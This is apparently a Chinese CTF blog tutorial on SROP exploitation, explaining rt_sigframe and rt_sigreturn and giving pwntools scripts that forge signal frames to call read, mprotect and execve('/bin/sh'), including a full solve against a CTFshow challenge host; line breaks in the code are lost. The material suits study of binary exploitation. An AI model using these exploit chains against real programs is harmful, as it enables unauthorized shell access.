什么是 SROP?
SROP,全称 Sigreturn Oriented Programming。它是一种 利用 Linux 信号恢复机制的 ROP 技术。
简而言之,攻击者伪造一个 signal frame,然后触发 rt_sigreturn 系统调用,让内核把伪造 frame 里的寄存器值恢复到 CPU 中,从而一次性控制几乎所有寄存器。
rt_sigframe
Real-Time Signal Frame 实时信号上下文结构体,是内核在处理 signal 的时候临时在用户栈上构造的数据结构,在正常情况下,程序捕捉到 signal ,之后内核会保存相关寄存器,之后跳转到 signal handler , 注意 signal handler 是可以接受用户自定义的 handler 的。那么这个是用户态,但是信号的捕获和调度是在内核完成的,于是为了恢复相关寄存器的值,系统就将 rt_sigframe 保存在栈上。
signal return
那么正常情况 signal return 的情况是这样子的
程序正在运行↓信号到来↓内核把 rax/rdi/rsi/rdx/rsp/rip/... 保存到用户栈上的 rt_sigframe↓跳到 signal handler↓handler 结束↓执行 rt_sigreturn syscall↓内核从用户栈读取 rt_sigframe↓恢复所有寄存器↓程序继续从原来的 RIP 执行但是有个关键点,当程序执行 rt_sigreturn syscall 时,并不会去查看之前是否捕捉到了 signal 信号,只要当我们执行 syscall 且 rax = 15 ,那么程序就会去找 rsp 并将 rsp 保存的值当作 rt_sigframe 并进行恢复
如何构造 exp?
paddingpop rax ; ret15syscall ; retfake_sigreturn_frame我们先触发系统调用,执行 rt_sigreturn syscall ,那么当前 rsp 指向 fake_sigreturn_frame , 我们 fake_sigreturn_frame 构造情况如下
rax = 59rdi = "/bin/sh" 地址rdi = 0rsi = 0rip = syscall;retrsp = 某个可控地址那么当我们恢复时,我们就变成了执行 execve("/bin/sh", 0, 0)
可见,当我们利用 SROP 极大减少了我们需要的 gadget 数量,我们只需要 pop_rax;ret 和 syscall ; ret 两个gadget 即可
如果没有 /bin/sh
我们需要先调用 read 函数,相关 payload 如下
from pwn import *offset = pop_rax = 0x401001syscall_ret = 0x40100fbss = elf.bss() + 0x800# 第一阶段:SROP -> read(0, bss, 0x400)frame1 = SigreturnFrame()frame1.rax = 0frame1.rdi = 0frame1.rsi = bssframe1.rdx = 0x400frame1.rip = syscall_retframe1.rsp = bsspayload1 = flat( b'A' * offset, pop_rax, 15, syscall_ret, frame1)p.send(payload1)# 第二阶段:写入到 bssbinsh = bss + 0x300frame2 = SigreturnFrame()frame2.rax = 59frame2.rdi = binshframe2.rsi = 0frame2.rdx = 0frame2.rip = syscall_retframe2.rsp = bss + 0x380stage2 = flat( pop_rax, 15, syscall_ret, frame2)stage2 = stage2.ljust(0x300, b'\x00')stage2 += b'/bin/sh\x00'p.send(stage2)p.interactive()调用 mprotect 的思路
frame = SigreturnFrame()frame.rax = 10frame.rdi = bss & ~0xfffframe.rsi = 0x1000frame.rdx = 7frame.rip = syscall_retframe.rsp = bss + 0x500 # 用来存放 shell_addr 的 addr 例题


我们可以看见,调用了 read 函数,向 global_buf 写入,同时我们又注意到,执行 rt_sigreturn 之前我们的 rsp 指向 global_buf , 那我们在 global_buff 直接布局 rt_sigframe 即可
#! /usr/bin/env python3from pwn import *context.arch = "amd64"context.os = "linux"elf = ELF("./pwn")rop = ROP(elf)#p = process("./pwn")p = remote("pwn.challenge.ctf.show",28247)syscall1 = 0x0000000000400126syscall2 = 0x0000000000400141bss = elf.bss()p.recvuntil(b"Welcome to CTFshowPWN!\n")frame = SigreturnFrame()frame.rax = 0frame.rdi = 0frame.rsi = bssframe.rdx = 0x100frame.rip = syscall1frame.rsp = bsspayload1 = flat(frame)p.send(payload1)bin_sh_addr = bss + 0xf8frame2 = SigreturnFrame()frame2.rax = 59frame2.rdi = bin_sh_addrframe2.rsi = 0frame2.rdx = 0frame2.rip = syscall2frame2 = flat(frame2)payload2 = frame2payload2 += b"/bin/sh\x00"p.send(payload2)p.interactive()

读者回信
正在翻开留言页...